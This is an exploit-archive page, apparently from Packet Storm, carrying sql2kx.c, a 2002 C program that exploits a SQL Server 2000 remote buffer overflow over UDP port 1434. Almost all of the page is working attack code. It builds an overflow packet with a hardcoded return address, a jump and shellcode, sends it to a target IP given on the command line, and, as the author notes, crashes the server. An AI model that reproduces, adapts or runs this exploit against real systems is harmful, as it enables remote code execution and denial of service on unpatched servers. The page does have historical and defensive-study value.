exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

sql2kx.c

sql2kx.c
Posted Aug 13, 2002
Authored by sk | Site scan-associates.net

SQL Server 2000 remote buffer overflow exploit. Tested against Win2ksp2. Included shellcode creates the file \scan_sql2k_bo. Fix available here.

tags | exploit, remote, overflow, shellcode
SHA-256 | d75a40dd02e1ffd0eb5451b02a8c960e2713292b3890483438f4aacc31d79964

sql2kx.c

Change Mirror Download
/* 
SQL Server 2000 Remote Buffer Overflow
by sk@scan-associates.net
bug found by:
David Litchfield

tested on Win2k SP2. shellcode Will create file \scan_sql2k_bo.
sql server will die. so, script kiddie, dun try dis.

created while everyone is bz wif defcon.

greetz to da scan clan, especially to tynon, pokleyzz, wyse and spoonfork. Alphaque and L33tdawg, thanks for the beer. Mnemonix and Mark Litchfield for lots of SQL BO examples.

fix: http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS02-039.asp

http://www.scan-associates.net
*/

#include <stdio.h>
#include <winsock2.h>
#pragma comment (lib,"Ws2_32")

unsigned int resolve(char *name)
{
struct hostent *he;
unsigned int ip;

if((ip=inet_addr(name))==(-1))
{
if((he=gethostbyname(name))==0)
return 0;
memcpy(&ip,he->h_addr,4);
}
return ip;
}
int main(int argc,char *argv[])
{
int s;
char buf2[350];
struct sockaddr_in target;
int EIP = 0x78024e02;
int EAX = 0x42d01e40;
unsigned char forwardjump[]="\x0eb\x0a\x0cc\x0cc\x0cc\x0cc\x0cc\x0cc";

WSADATA WSAData;

BYTE shellcode[] = ""
"\x8B\xF1\x33\xC0\xC7\x06\x5C\x73\x63\x61\xC7\x46\x04\x6E\x5F\x73"
"\x71\xC7\x46\x08\x6C\x32\x6B\x5F\xC7\x46\x0C\x62\x6F\x2E\x41\x88"
"\x46\x0F\x66\xB8\x80\x01\x50\x66\xB8\x01\x81\x50\x56\xB8\x6C\xC2"
"\x01\x78\xFF\xD0\xB8\xC7\x3E\x01\x78\xFF\xD0";

if (argc!=2)
{
printf("usage: %s ip\n",argv[0]);
return -1;
}

if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
{
printf("WSAStartup failed.\n");
WSACleanup();
exit(1);
}

s = socket(AF_INET,SOCK_DGRAM,0);
if(s<0)
return -1;

memset((char *)&target,0,sizeof(target));

target.sin_family = AF_INET;
target.sin_addr.s_addr = resolve(argv[1]);
if(target.sin_addr.s_addr==0)
{
closesocket(s);
return -2;
}
target.sin_port = htons(1434);

memset(buf2,0xcc,sizeof(buf2));
buf2[0] = 0x04;
*(unsigned int *)&buf2[97] = EIP;
memcpy(&buf2[101], forwardjump, strlen(forwardjump));
*(unsigned int *)&buf2[109] = EAX;
memcpy(&buf2[113], shellcode, strlen(shellcode));
buf2[1+96+8+strlen(forwardjump)+strlen(shellcode)]=0;

if (sendto(s, buf2, strlen(buf2)+1, 0, &target, sizeof(target)) == SOCKET_ERROR)
printf("Error: sendto() failed.\n");
closesocket(s);
return 0;
}
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close